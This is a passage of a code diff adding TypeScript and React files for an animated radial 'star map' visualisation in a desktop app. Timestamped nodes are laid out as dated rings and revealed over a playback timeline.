+  const target = clamp(Math.round(4 + Math.log2(Math.max(1, spanDays / 60))), 5, 12)
+  let best = UNITS[0]!
+  let bestScore = Infinity
+
+  for (const u of UNITS) {
+    const count = populatedStarts(stamps, u).length
+
+    if (!count) {
+      continue
+    }
+
+    const score = Math.abs(count - target) + (count > target ? 0.5 : 0)
+
+    if (score < bestScore) {
+      bestScore = score
+      best = u
+    }
+  }
+
+  return best
+}
+
+function bucketLabel(ts: number, { kind, step }: Unit): string {
+  if (kind === 'day') {
+    return formatDate(ts)
+  }
+
+  try {
+    const d = new Date(ts * 1000)
+
+    return step >= 12
+      ? String(d.getUTCFullYear())
+      : d.toLocaleDateString(undefined, { month: 'short', timeZone: 'UTC', year: 'numeric' })
+  } catch {
+    return formatDate(ts)
+  }
+}
+
+interface Layout {
+  // bucket/cap ring a node belongs to (the ring it ignites behind)
+  index: (n: StarmapNode) => number
+  // reveal coordinate (0–1) a node ignites at — staggered within its band
+  rec: (n: StarmapNode) => number
+  rings: Ring[]
+  // world radius a node is drawn at (inside its band)
+  tr: (n: StarmapNode) => number
+}
+
+// Even, unlabeled-ish fallback when there's no usable time span (undated graph
+// or one instant): keep the legacy continuous mapping so nothing regresses.
+function evenLayout(recById: Map<string, number>, minTs: null | number, maxTs: null | number, timed: boolean): Layout {
+  const rings: Ring[] = Array.from({ length: RING_STEPS + 1 }, (_, i) => ({
+    label:
+      timed && minTs !== null && maxTs !== null
+        ? formatDate(Math.round(minTs + (maxTs - minTs) * (i / RING_STEPS)))
+        : null,
+    r: ringRadius(i),
+    ratio: recForRatio(i / RING_STEPS)
+  }))
+
+  const capRing = (rec: number): number => {
+    for (let i = 0; i < rings.length; i += 1) {
+      if ((rings[i]?.ratio ?? 1) >= rec - 1e-3) {
+        return i
+      }
+    }
+
+    return rings.length - 1
+  }
+
+  return {
+    index: n => capRing(recById.get(n.id) ?? 0),
+    rec: n => recById.get(n.id) ?? 0,
+    rings,
+    tr: n => radiusForRecency(recById.get(n.id) ?? 0)
+  }
+}
+
+// One equal-width ring per POPULATED calendar bucket; a bucket's nodes fill the
+// band INSIDE their ring (fanned by angle) and ignite staggered across it.
+function buildLayout(
+  graph: StarmapGraph,
+  recById: Map<string, number>,
+  minTs: null | number,
+  maxTs: null | number,
+  timed: boolean
+): Layout {
+  const stamps = graph.nodes.map(n => Number(n.timestamp)).filter(Number.isFinite)
+
+  if (!(timed && minTs !== null && maxTs !== null && maxTs > minTs && stamps.length)) {
+    return evenLayout(recById, minTs, maxTs, timed)
+  }
+
+  const span = maxTs - minTs
+  const unit = chooseUnit(stamps, span / DAY)
+  const starts = populatedStarts(stamps, unit)
+
+  if (starts.length < 2) {
+    return evenLayout(recById, minTs, maxTs, timed)
+  }
+
+  const indexOfStart = new Map(starts.map((s, i) => [s, i]))
+  // Reveal pacing is per-BUCKET (uniform), matching the equal-width bands: each
+  // ring is one even step. (Radius is already index-based.) Using raw time here
+  // decouples a ring's ignite moment from its position — a bursty gap makes a
+  // ring appear bands ahead of the nodes that belong to it. Labels stay real dates.
+  const last = Math.max(1, starts.length - 1)
+
+  const rings: Ring[] = starts.map((s, i) => ({
+    label: bucketLabel(s, unit),
+    r: ringRadius(i),
+    ratio: recForRatio(i / last)
+  }))
+
+  // A node's bucket is its ring; undated nodes (rare, in an otherwise-timed
+  // graph) fall to the newest ring so they still appear.
+  const indexFor = (n: StarmapNode): number => {
+    const ts = Number(n.timestamp)
+
+    return Number.isFinite(ts) ? (indexOfStart.get(bucketStart(ts, unit)) ?? starts.length - 1) : starts.length - 1
+  }
+
+  // Node POSITION fills the band inside its bucket ring (placeRadius); its IGNITE
+  // time is staggered ACROSS that band, ordered by real timestamp, so a busy
+  // bucket trickles in over its whole slice instead of every node popping at
+  // once (the "everything floods in at the end" bug).
+  const buckets: StarmapNode[][] = starts.map(() => [])
+
+  for (const n of graph.nodes) {
+    buckets[indexFor(n)]!.push(n)
+  }
+
+  const tsOf = (n: StarmapNode): number => (Number.isFinite(Number(n.timestamp)) ? Number(n.timestamp) : Infinity)
+  const recByNode = new Map<string, number>()
+
+  buckets.forEach((bucket, i) => {
+    bucket.sort((a, b) => (tsOf(a) === tsOf(b) ? a.id.localeCompare(b.id) : tsOf(a) - tsOf(b)))
+
+    const hi = rings[i]!.ratio
+    const lo = i > 0 ? rings[i - 1]!.ratio : 0
+    const m = bucket.length
+
+    // Ignite in CLUSTERS, not a 1-by-1 trickle: split the band's (time-ordered)
+    // nodes into a few sub-bursts (~CLUSTER_SIZE each) that share an ignite
+    // moment, spaced across the band, with a hair of per-node jitter so a burst
+    // reads as organic rather than perfectly synchronous.
+    const clusters = Math.max(1, Math.round(m / CLUSTER_SIZE))
+
+    bucket.forEach((n, k) => {
+      const c = Math.min(clusters - 1, Math.floor((k / m) * clusters))
+      const jitter = ((hash(n.id) % 100) / 100 - 0.5) * (0.5 / clusters)
+      const f = clamp((c + 1) / clusters + jitter, 0.02, 1)
+      recByNode.set(n.id, lo + f * (hi - lo))
+    })
+  })
+
+  return {
+    index: indexFor,
+    rec: n => recByNode.get(n.id) ?? 0,
+    rings,
+    tr: n => placeRadius(indexFor(n), n.id)
+  }
+}
+
+// Build the radial time simulation: a node's distance from the core encodes its
+// timestamp bucket (radial force dominates; charge/collide only spread nodes
+// around their date ring). Rings are dated, equal-width gridlines.
+export function buildSimulation(graph: StarmapGraph, onTick: () => void): BuiltSim {
+  const { maxTs, minTs, rec: recById, timed } = computeRecency(graph.nodes)
+  const { index, rec: recOf, rings, tr: trOf } = buildLayout(graph, recById, minTs, maxTs, timed)
+
+  const nodes: SimNode[] = graph.nodes.map(n => {
+    const rec = recOf(n)
+    const tr = trOf(n)
+    const angle = ((hash(n.id) % 3600) / 3600) * Math.PI * 2
+
+    return { ...n, outerRingIndex: index(n), rec, tr, vx: 0, vy: 0, x: Math.cos(angle) * tr, y: Math.sin(angle) * tr }
+  })
+
+  const byId = new Map(nodes.map(n => [n.id, n]))
+
+  const links: SimLink[] = graph.edges
+    .filter(e => byId.has(e.source) && byId.has(e.target))
+    .map(e => ({ source: e.source, target: e.target }))
+
+  const sim = forceSimulation(nodes)
+    .alphaDecay(0.05)
+    .velocityDecay(0.62)
+    .force('charge', forceManyBody<SimNode>().strength(-12))
+    .force(
+      'link',
+      forceLink<SimNode, SimLink>(links)
+        .id(n => n.id)
+        .distance(26)
+        .strength(0.06)
+    )
+    .force(
+      'collide',
+      forceCollide<SimNode>()
+        .radius(n => nodeRadius(n) + 2)
+        .iterations(2)
+    )
+    .force('radial', forceRadial<SimNode>(n => (n as SimNode).tr, 0, 0).strength(0.92))
+    .on('tick', onTick)
+
+  return { byId, links, nodes, rings, sim }
+}
diff --git a/ui-desktop/src/app/starmap/star-map.tsx b/ui-desktop/src/app/starmap/star-map.tsx
new file mode 100644
index 000000000..b9983cee7
--- /dev/null
+++ b/ui-desktop/src/app/starmap/star-map.tsx
@@ -0,0 +1,980 @@
+import { type Simulation } from 'd3-force'
+import { atom, type WritableAtom } from 'nanostores'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+
+import { useThemeEpoch } from '@/hooks/use-theme-epoch'
+import { createDoubleTapDetector, isSmartZoomWheel } from '@/lib/trackpad-gestures'
+import type { StarmapGraph } from '@/types/clawcodex'
+
+import { computePalette, memoryInkFor, resolveRgb, rgba } from './color'
+import { RING_OUTER, TILT, ZOOM_MAX, ZOOM_MIN } from './constants'
+import { clamp, distToSegmentSq, fitScale, fitViewport, nodeRadius } from './geometry'
+import { NodeContextMenu, type NodeMenuTarget } from './node-context-menu'
+import { drawScene, drawScramble } from './render'
+import { decodeShareCode, encodeShareCode, ShareCodeError } from './share-code'
+import { ShareControls } from './share-controls'
+import { buildSimulation } from './simulation'
+import { formatDate } from './text'
+import { buildTimeAxis, dateAtReveal, type TimeAxis } from './time-axis'
+import { Timeline } from './timeline'
+import type { FadeBuckets, MemoryCard, Palette, Ring, RingLabelRect, SimLink, SimNode, Viewport } from './types'
+
+// How long a full play-through sweep takes (ms), reveal 0 → 1. Longer = the
+// build-up breathes; the eased middle no longer rushes past in a blink.
+const SWEEP_MS = 15000
+
+// How far to relax the ease toward a flat linear march. The bare smoothstep
+// spikes to 1.5× linear speed mid-sweep, which reads as a "snap" through the
+// middle; blending it back toward linear flattens that peak (≈1.3× at GENTLE
+// = 0.45) so playback glides instead of lurching, while still keeping a soft
+// ease-in / ease-out at the very start and end.
+const GENTLE = 0.45
+
+// Cinematic timing: cubic smoothstep (gentle ease-in / ease-out) relaxed toward
+// linear by GENTLE, so the middle never rushes. Monotonic on [0,1], so the
+// numeric inverse below stays valid.
+function cineEase(t: number): number {
+  const u = t < 0 ? 0 : t > 1 ? 1 : t
+  const smooth = u * u * (3 - 2 * u)
+
+  return GENTLE * u + (1 - GENTLE) * smooth
+}
+
+// Numeric inverse (monotonic) so a resume maps the current reveal back to clock
+// progress without a closed-form solution.
+function invCineEase(y: number): number {
+  let lo = 0
+  let hi = 1
+
+  for (let i = 0; i < 24; i += 1) {
+    const mid = (lo + hi) / 2
+
+    if (cineEase(mid) < y) {
+      lo = mid
+    } else {
+      hi = mid
+    }
+  }
+
+  return (lo + hi) / 2
+}
+
+function revealText(axis: TimeAxis, reveal: number): string {
+  const date = dateAtReveal(axis, reveal)
+
+  return date !== null ? formatDate(date) : `${Math.round(reveal * axis.size)} / ${axis.size}`
+}
+
+function RevealLabel({ axis, revealStore }: { axis: TimeAxis; revealStore: WritableAtom<number> }) {
+  const labelRef = useRef<HTMLSpanElement | null>(null)
+
+  const sync = useCallback(
+    (reveal: number) => {
+      const el = labelRef.current
+
+      if (el) {
+        el.textContent = revealText(axis, reveal)
+      }
+    },
+    [axis]
+  )
+
+  useEffect(() => revealStore.subscribe(sync), [revealStore, sync])
+
+  useEffect(() => {
+    sync(revealStore.get())
+  }, [revealStore, sync])
+
+  return (
+    <span className="tabular-nums text-foreground/75" ref={labelRef}>
+      {revealText(axis, revealStore.get())}
+    </span>
+  )
+}
+
+// A tilted, top-down star map of what ClawCodex has learned. Time is RADIAL: oldest
+// at the core, newest on the outer rings. This component owns the refs, effects
+// and pointer wiring; layout lives in simulation.ts and painting in render.ts.
+export function StarMap({
+  graph,
+  imported = false,
+  onImport,
+  onResetMap
+}: {
+  graph: StarmapGraph
+  imported?: boolean
+  onImport?: (graph: StarmapGraph) => void
+  onResetMap?: () => void
+}) {
+  const canvasRef = useRef<HTMLCanvasElement | null>(null)
+  const wrapRef = useRef<HTMLDivElement | null>(null)
+
+  const simRef = useRef<null | Simulation<SimNode, SimLink>>(null)
+  const nodesRef = useRef<SimNode[]>([])
+  const linksRef = useRef<SimLink[]>([])
+  const byIdRef = useRef(new Map<string, SimNode>())
+  const adjacencyRef = useRef(new Map<string, Set<string>>())
+  const memByIdRef = useRef(new Map<string, MemoryCard>())
+  const ringsRef = useRef<Ring[]>([])
+  const ringLabelRectsRef = useRef<RingLabelRect[]>([])
+
+  const fadeRef = useRef<FadeBuckets>({
+    appear: new Map(),
+    labels: new Map(),
+    links: new Map(),
+    nodes: new Map(),
+    rings: new Map()
+  })
+
+  const doubleTapRef = useRef(createDoubleTapDetector())
+  const paletteRef = useRef<null | Palette>(null)
+  const themeDirtyRef = useRef(true)
+  const invalidateRef = useRef<() => void>(() => {})
+  const viewportRef = useRef<Viewport>({ k: 1, x: 0, y: 0 })
+  const hoverRef = useRef<null | string>(null)
+  const hoveredLinkRef = useRef<null | string>(null)
+  const hoveredRingRef = useRef<null | number>(null)
+  const selectedRingRef = useRef<null | number>(null)
+  const selectedIdRef = useRef<null | string>(null)
+  const sizeRef = useRef({ h: 0, w: 0 })
+  const dprRef = useRef(1)
+  const dirtyRef = useRef(true)
+  // Scrub = direct manipulation (snap the fades to the pointer); Play = the
+  // cinematic birth/fade easing. One frame's worth of state, never re-rendered.
+  const snapMotionRef = useRef(false)
+
+  const dragRef = useRef<{
+    id: null | string
+    mode: 'none' | 'pan'
+    moved: boolean
+    ring: null | number
+    sx: number
+    sy: number
+    vp: Viewport
+  }>({ id: null, mode: 'none', moved: false, ring: null, sx: 0, sy: 0, vp: { k: 1, x: 0, y: 0 } })
+
+  const [selectedId, setSelectedId] = useState<null | string>(null)
+  const [menuTarget, setMenuTarget] = useState<NodeMenuTarget | null>(null)
+  const [size, setSize] = useState({ h: 0, w: 0 })
+  // Increments on every theme repaint (shared hook) so the legend swatch and the
+  // canvas palette re-resolve against the freshly-painted CSS custom properties.
+  const themeEpoch = useThemeEpoch()
+  // Memory's swatch color — the same complementary-of-primary the canvas uses,
+  // so the legend matches the rendered diamonds exactly.
+  const [memoryColor, setMemoryColor] = useState('var(--theme-secondary)')
+
+  // Time scrubber: reveal 1 = the whole map (idle default); lower values hide
+  // not-yet-reached nodes so playing/scrubbing "builds it up". revealRef feeds
+  // the canvas loop and revealStore feeds the timeline + legend label — so a
+  // play-through / scrub never re-renders StarMap (the perf win). `playing`
+  // stays React state since it flips rarely and drives the play effect + button.
+  const revealStore = useMemo(() => atom(1), [])
+  const [playing, setPlaying] = useState(false)
+  // Reveal positions where each dated ring spawns (its inner neighbor's ratio —
+  // ringSeen reveals one band ahead), surfaced as markers on the timeline.
+  const [ringStops, setRingStops] = useState<number[]>([])
+  const revealRef = useRef(1)
+  // Spore-style zoom: the camera fits the *leading ring's* radius, a step
+  // function of reveal. It holds steady while a band fills, then eases out to the
+  // next shell when a new ring is reached — growth in discrete jumps, not a
+  // constant creep. This ref is the camera's current (eased) fit radius.
+  const camRadiusRef = useRef(RING_OUTER)
+  const timeAxis = useMemo(() => buildTimeAxis(graph, 72), [graph])
+
+  // The current map as a WoW-style share code, recomputed only when the graph
+  // changes (encode walks every node/edge/card, so don't redo it per render).
+  const shareCode = useMemo(() => encodeShareCode(graph), [graph])
+
+  // Decode a pasted code and hand the resulting graph up to the StarmapView,
+  // which swaps it in for the live profile scan. Returns an error string for the
+  // Timeline to surface inline, or null on success.
+  const importCode = useCallback(
+    (code: string): null | string => {
+      try {
+        const next = decodeShareCode(code)
+        onImport?.(next)
+
+        return null
+      } catch (err) {
+        return err instanceof ShareCodeError ? err.message : 'Could not read that map code.'
+      }
+    },
+    [onImport]
+  )
+
+  // Mark the canvas dirty and wake the (otherwise-idle) render loop.
+  const invalidate = useCallback(() => invalidateRef.current(), [])
+
+  // Single writer for the scrubber position: feeds the canvas (ref), the
+  // timeline + legend label (store subscribers), and wakes the paint loop —
+  // no React re-render, so playback/scrubbing stays off the render path.
+  const setRevealValue = useCallback(
+    (value: number) => {
+      const next = clamp(value, 0, 1)
+      revealRef.current = next
+      revealStore.set(next)
+      invalidate()
+    },
+    [invalidate, revealStore]
+  )
+
+  // Drop every in-flight ease so the next frame snaps to its targets.
+  const resetFades = useCallback(() => {
+    for (const bucket of Object.values(fadeRef.current)) {
+      bucket.clear()
+    }
+  }, [])
+
+  const memById = useMemo(() => {
+    const m = new Map<string, MemoryCard>()
+    graph.memory.forEach((card, i) => m.set(`memory:${card.source}:${i}`, card))
+
+    return m
+  }, [graph.memory])
+
+  const adjacency = useMemo(() => {
+    const m = new Map<string, Set<string>>()
+
+    for (const n of graph.nodes) {
+      m.set(n.id, new Set())
+    }
+
+    for (const e of graph.edges) {
+      m.get(e.source)?.add(e.target)
+      m.get(e.target)?.add(e.source)
+    }
+
+    return m
+  }, [graph.edges, graph.nodes])
+
+  // Track the wrapper size.
+  useEffect(() => {
+    const el = wrapRef.current
+
+    if (!el) {
+      return
+    }
+
+    const sync = () => setSize({ h: el.clientHeight, w: el.clientWidth })
+    const ro = new ResizeObserver(sync)
+    ro.observe(el)
+    sync()
+
+    return () => ro.disconnect()
+  }, [])
+
+  // (Re)build the radial simulation whenever the graph or size changes.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    sizeRef.current = size
+
+    if (size.w === 0 || size.h === 0) {
+      return
+    }
+
+    const { byId, links, nodes, rings, sim } = buildSimulation(graph, invalidate)
+    simRef.current = sim
+    nodesRef.current = nodes
+    linksRef.current = links
+    byIdRef.current = byId
+    ringsRef.current = rings
+    // Markers fire when a ring spawns: ringSeen(i) flips at rings[i-1].ratio.
+    setRingStops(rings.map((rg, i) => (rg.label != null ? (rings[i - 1]?.ratio ?? 0) : -1)).filter(v => v >= 0))
+    resetFades()
+    // Fit the actual disk (outermost ring), so a 3-ring map frames like a 12-ring
+    // one — count changes the disk size, not the framing.
+    viewportRef.current = fitViewport(size.w, size.h, rings[rings.length - 1]?.r ?? RING_OUTER)
+    invalidate()
+
+    if (selectedIdRef.current && !byId.has(selectedIdRef.current)) {
+      selectedIdRef.current = null
+      setSelectedId(null)
+    }
+
+    return () => {
+      sim.stop()
+
+      if (simRef.current === sim) {
+        simRef.current = null
+      }
+    }
+  }, [graph, invalidate, resetFades, size])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    adjacencyRef.current = adjacency
+    memByIdRef.current = memById
+    invalidate()
+  }, [adjacency, invalidate, memById])
+
+  // The empty-core ASCII scramble uses the bundled JetBrains Mono face. Canvas
+  // text doesn't reflow when a webfont loads, so repaint once it's ready.
+  useEffect(() => {
+    document.fonts?.load('1em "JetBrains Mono"').then(invalidate, () => {})
+  }, [invalidate])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    selectedIdRef.current = selectedId
+    invalidate()
+  }, [invalidate, selectedId])
+
+  // A fresh graph resets the scrubber to "fully built" (the idle default).
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    camRadiusRef.current = RING_OUTER
+    snapMotionRef.current = false
+    setRevealValue(1)
+    setPlaying(false)
+  }, [graph, setRevealValue])
+
+  // The stepped fit radius for a reveal: fit ONE ring BEYOND the leading shell
+  // (the first not-yet-passed ring) so the ring currently igniting its nodes
+  // sits comfortably inside the frame with a band of headroom, instead of jammed
+  // against the edge. Steps only when reveal crosses a boundary — the Spore step.
+  const targetRadius = useCallback((rev: number): number => {
+    const rings = ringsRef.current
+
+    if (!rings.length) {
+      return RING_OUTER
+    }
+
+    const lead = rings.findIndex(rg => rg.ratio > rev + 1e-3)
+    const i = lead === -1 ? rings.length - 1 : lead
+    const band = (rings[1]?.r ?? RING_OUTER) - (rings[0]?.r ?? 0)
+
+    // Small headroom (a third of a band) so the igniting ring isn't jammed at the
+    // frame edge during playback, without zooming the resting view out.
+    return rings[i]!.r + band * 0.35
+  }, [])
+
+  const applyFit = useCallback((radius: number) => {
+    const { h, w } = sizeRef.current
+
+    if (w > 0 && h > 0) {
+      viewportRef.current = fitViewport(w, h, radius)
+    }
+  }, [])
+
+  // Snap the camera to a reveal's stepped target (scrubbing / reset — no glide).
+  const fitForReveal = useCallback(
+    (rev: number) => {
+      camRadiusRef.current = targetRadius(rev)
+      applyFit(camRadiusRef.current)
+    },
+    [applyFit, targetRadius]
+  )
+
+  // Playback: sweep reveal 0 → 1 over SWEEP_MS, then stop (play once).
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!playing) {
+      return
+    }
+
+    let raf = 0
+    let start = 0
+
+    const step = (now: number) => {
+      if (!start) {
+        // Anchor (in clock-space) so a resume continues from the current reveal.
+        start = now - invCineEase(revealRef.current) * SWEEP_MS
+      }
+
+      const progress = Math.min(1, (now - start) / SWEEP_MS)
+      const next = cineEase(progress)
+
+      // Ease the camera toward the leading ring's radius (a step target): it
+      // holds while a band fills, then pushes out when the next shell is reached.
+      const target = targetRadius(next)
+      camRadiusRef.current += (target - camRadiusRef.current) * 0.1
+      applyFit(camRadiusRef.current)
+      setRevealValue(next)
+
+      // End once the reveal is complete AND the camera has settled on the final
+      // shell, so the last push-out finishes instead of cutting off.
+      if (progress >= 1 && Math.abs(target - camRadiusRef.current) < 0.5) {
+        camRadiusRef.current = target
+        applyFit(target)
+        setPlaying(false)
+
+        return
+      }
+
+      raf = requestAnimationFrame(step)
+    }
+
+    raf = requestAnimationFrame(step)
+
+    return () => cancelAnimationFrame(raf)
+  }, [applyFit, playing, setRevealValue, targetRadius])
+
+  const onTogglePlay = useCallback(() => {
+    if (playing) {
+      setPlaying(false)
+
+      return
+    }
+
+    // Leaving scrub: play eases (cinematic) rather than holding the snapped view.
+    snapMotionRef.current = false
+
+    // Replay from the start when parked at the end. Snap straight to the empty
+    // state (no fade-out) before playing in.
+    if (revealRef.current >= 1) {
+      resetFades()
+      fitForReveal(0)
+      setRevealValue(0)
+    }
+
+    setPlaying(true)
+  }, [fitForReveal, playing, resetFades, setRevealValue])
+
+  const onScrub = useCallback(
+    (value: number) => {
+      const next = clamp(value, 0, 1)
+      setPlaying(false)
+      // Scrub is direct manipulation: snap fades + camera to the pointer so a
+      // fast drag jumps there instead of replaying the birth-in from a stale spot.
+      snapMotionRef.current = true
+      fitForReveal(next)
+      setRevealValue(next)
+    },
+    [fitForReveal, setRevealValue]
+  )
+
+  // Spacebar toggles playback (unless typing, or the play button itself is
+  // focused — that already handles Space natively, so skip to avoid a double).
+  useEffect(() => {
+    const onKey = (e: KeyboardEvent) => {
+      if (e.code !== 'Space' && e.key !== ' ') {
+        return
+      }
+
+      const el = document.activeElement
+      const tag = el?.tagName
+
+      if (tag === 'INPUT' || tag === 'TEXTAREA' || tag === 'BUTTON' || (el as HTMLElement | null)?.isContentEditable) {
+        return
+      }
+
+      e.preventDefault()
+      onTogglePlay()
+    }
+
+    window.addEventListener('keydown', onKey)
+
+    return () => window.removeEventListener('keydown', onKey)
+  }, [onTogglePlay])
+
+  // Recompute the legend's memory swatch from the live --theme-primary (matches
+  // the canvas), re-running on theme change and once the canvas is mounted.
+  useEffect(() => {
+    const el = canvasRef.current ?? wrapRef.current
+
+    if (!el) {
+      return
+    }
+
+    const style = getComputedStyle(el)
+    const val = style.getPropertyValue('--theme-primary').trim()
+
+    if (val) {
+      const bgVal =
+        style.getPropertyValue('--background').trim() || style.getPropertyValue('--dt-background').trim() || '#000'
+
+      setMemoryColor(rgba(memoryInkFor(resolveRgb(val), resolveRgb(bgVal)), 0.9))
+    }
+  }, [size, themeEpoch])
+
+  // Repaint + repalette when the theme/mode repaints (the shared observer fires
+  // after applyTheme rewrites the class + inline vars on <html>).
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    themeDirtyRef.current = true
+    invalidate()
+  }, [invalidate, themeEpoch])
+
+  // Render loop. The core scramble animates continuously, so the loop runs while
+  // the window is focused — but each frame is cheap (live scramble + a blit of the
+  // cached static layer). The expensive scene only re-renders when invalidate()
+  // marks it dirty. Capped to ~30fps; interaction (force) bypasses the cap.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    let raf = 0
+    const ANIM_MS = 1000 / 30
+    let lastAnimTs = 0
+    let force = true
+
+    // The scramble keeps the loop perpetually "animating", so a fully-built,
+    // untouched map still repaints 30×/s for as long as the panel is open. That's
+    // wasted CPU/GPU (WindowServer compositing) when the window isn't even the one
+    // you're looking at. Freeze the loop while the window is hidden or unfocused;
+    // a frozen core next to other work is fine, and it resumes instantly on focus.
+    const isPaused = () =>
+      (typeof document !== 'undefined' && document.hidden) ||
+      (typeof document.hasFocus === 'function' && !document.hasFocus())
+
+    let paused = isPaused()
+
+    const schedule = () => {
+      if (!paused && !raf) {
+        raf = requestAnimationFrame(frame)
+      }
+    }
+
+    // The static scene (rings, bands, links, nodes, labels) is cached in an
+    // offscreen layer and only re-rendered when something actually changes —
+    // dirtyRef flags that. The animated core scramble is the ONLY per-frame work:
+    // each frame we just clear, draw the live scramble, and blit the cached layer
+    // on top. So an idle map costs a scramble + one drawImage, not a full redraw.
+    let staticCanvas: HTMLCanvasElement | null = null
+
+    const paint = () => {
+      const canvas = canvasRef.current
+      const ctx = canvas?.getContext('2d')
+
+      if (!canvas || !ctx) {
+        return
+      }
+
+      if (!staticCanvas) {
+        staticCanvas = document.createElement('canvas')
+      }
+
+      // Keep the offscreen layer matched to the backing store; a resize wipes it,
+      // so force a static rebuild.
+      if (staticCanvas.width !== canvas.width || staticCanvas.height !== canvas.height) {
+        staticCanvas.width = canvas.width
+        staticCanvas.height = canvas.height
+        dirtyRef.current = true
+      }
+
+      const offCtx = staticCanvas.getContext('2d')
+
+      if (!offCtx) {
+        return
+      }
+
+      if (themeDirtyRef.current || !paletteRef.current) {
+        paletteRef.current = computePalette(canvas)
+        themeDirtyRef.current = false
+        dirtyRef.current = true
+      }
+
+      const palette = paletteRef.current
+
+      if (!palette) {
+        return
+      }
+
+      // Rebuild the cached static layer only when the scene changed; keep
+      // rebuilding while fades are mid-ease (drawScene returns `animating`).
+      if (dirtyRef.current) {
+        const { animating, ringLabelRects } = drawScene({
+          adjacency: adjacencyRef.current,
+          byId: byIdRef.current,
+          ctx: offCtx,
+          dpr: dprRef.current,
+          fades: fadeRef.current,
+          focusId: selectedIdRef.current ?? hoverRef.current,
+          hoverId: hoverRef.current,
+          hoverLink: hoveredLinkRef.current,
+          hoverRing: hoveredRingRef.current,
+          links: linksRef.current,
+          memById: memByIdRef.current,
+          nodes: nodesRef.current,
+          palette,
+          reveal: revealRef.current,
+          rings: ringsRef.current,
+          selectedRing: selectedRingRef.current,
+          size: sizeRef.current,
+          snapMotion: snapMotionRef.current,
+          vp: viewportRef.current
+        })
+
+        // One-shot: a scrub snaps this frame; hover/focus afterward eases as usual
+        // (buckets are already at target, so the next eased frames don't move).
+        snapMotionRef.current = false
+        ringLabelRectsRef.current = ringLabelRects
+        dirtyRef.current = animating
+      }
+
+      // Composite order flips on focus/hover. Idle: scene first, sphere on top —
+      // its backdrop wash dims the busy centre. Focused/hovered: sphere first,
+      // scene on top — so the active node's tooltip + lit lines lift ABOVE the
+      // sphere instead of being covered by it.
+      const focused = selectedIdRef.current ?? hoverRef.current
+      ctx.setTransform(1, 0, 0, 1, 0, 0)
+      ctx.clearRect(0, 0, canvas.width, canvas.height)
+
+      if (focused) {
+        drawScramble({ ctx, dpr: dprRef.current, palette, rings: ringsRef.current, vp: viewportRef.current })
+        ctx.setTransform(1, 0, 0, 1, 0, 0)
+        ctx.drawImage(staticCanvas, 0, 0)
+      } else {
+        ctx.drawImage(staticCanvas, 0, 0)
+        drawScramble({ ctx, dpr: dprRef.current, palette, rings: ringsRef.current, vp: viewportRef.current })
+      }
+    }
+
+    const frame = (ts: number) => {
+      raf = 0
+
+      // The scramble animates every frame; throttle to ANIM_MS unless an
+      // interaction (force) needs an immediate repaint.
+      if (!force && ts - lastAnimTs < ANIM_MS) {
+        schedule()
+
+        return
+      }
+
+      force = false
+      lastAnimTs = ts
+      paint()
+      schedule()
+    }
+
+    invalidateRef.current = () => {
+      dirtyRef.current = true
+      force = true
+      schedule()
+    }
+
+    // Suspend the loop when the window drops out of view/focus; wake + force a
+    // fresh frame the moment it returns so the resume is seamless.
+    const onActivity = () => {
+      const next = isPaused()
+
+      if (next === paused) {
+        return
+      }
+
+      paused = next
+
+      if (paused) {
+        if (raf) {
+          cancelAnimationFrame(raf)
+          raf = 0
+        }
+      } else {
+        dirtyRef.current = true
+        force = true
+        schedule()
+      }
+    }
+
+    document.addEventListener('visibilitychange', onActivity)
+    window.addEventListener('blur', onActivity)
+    window.addEventListener('focus', onActivity)
+
+    schedule()
+
+    return () => {
+      cancelAnimationFrame(raf)
+      document.removeEventListener('visibilitychange', onActivity)
+      window.removeEventListener('blur', onActivity)
+      window.removeEventListener('focus', onActivity)
+
+      invalidateRef.current = () => {}
+    }
+  }, [])
+
+  // Size the backing canvas (DPR-aware).
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    sizeRef.current = size
+    dprRef.current = Math.min(2, window.devicePixelRatio || 1)
+    const canvas = canvasRef.current
+
+    if (canvas && size.w > 0 && size.h > 0) {
+      canvas.width = Math.round(size.w * dprRef.current)
+      canvas.height = Math.round(size.h * dprRef.current)
+      canvas.style.width = `${size.w}px`
+      canvas.style.height = `${size.h}px`
+    }
+
+    invalidate()
+  }, [invalidate, size])
+
+  // ── Pointer interactions (invert the tilted projection for hit-testing) ─────
+  const pickNode = (cssX: number, cssY: number): null | SimNode => {
+    const vp = viewportRef.current
+    // Hit radius mirrors the billboarded draw: rested fit scale, screen space.
+    const nodeK = fitScale(sizeRef.current.w, sizeRef.current.h, ringsRef.current)
+    let best: null | SimNode = null
+    let bestD = Infinity
+
+    for (const n of nodesRef.current) {
+      const r = nodeRadius(n) * nodeK + 6
+      const sx = n.x * vp.k + vp.x
+      const sy = n.y * vp.k * TILT + vp.y
+      const d = (sx - cssX) ** 2 + (sy - cssY) ** 2
+
+      if (d < r * r && d < bestD) {
+        bestD = d
+        best = n
+      }
+    }
+
+    return best
+  }
+
+  // Nearest link within ~5px of the cursor (screen space), or null.
+  const pickLink = (cssX: number, cssY: number): null | string => {
+    const vp = viewportRef.current
+    let best: null | string = null
+    let bestD = 25
+
+    for (const link of linksRef.current) {
+      const s = typeof link.source === 'object' ? link.source : byIdRef.current.get(String(link.source))
+      const t = typeof link.target === 'object' ? link.target : byIdRef.current.get(String(link.target))
+
+      if (!s || !t) {
+        continue
+      }
+
+      const d = distToSegmentSq(
+        cssX,
+        cssY,
+        s.x * vp.k + vp.x,
+        s.y * vp.k * TILT + vp.y,
+        t.x * vp.k + vp.x,
+        t.y * vp.k * TILT + vp.y
+      )
+
+      if (d < bestD) {
+        bestD = d
+        best = `${s.id}->${t.id}`
+      }
+    }
+
+    return best
+  }
+
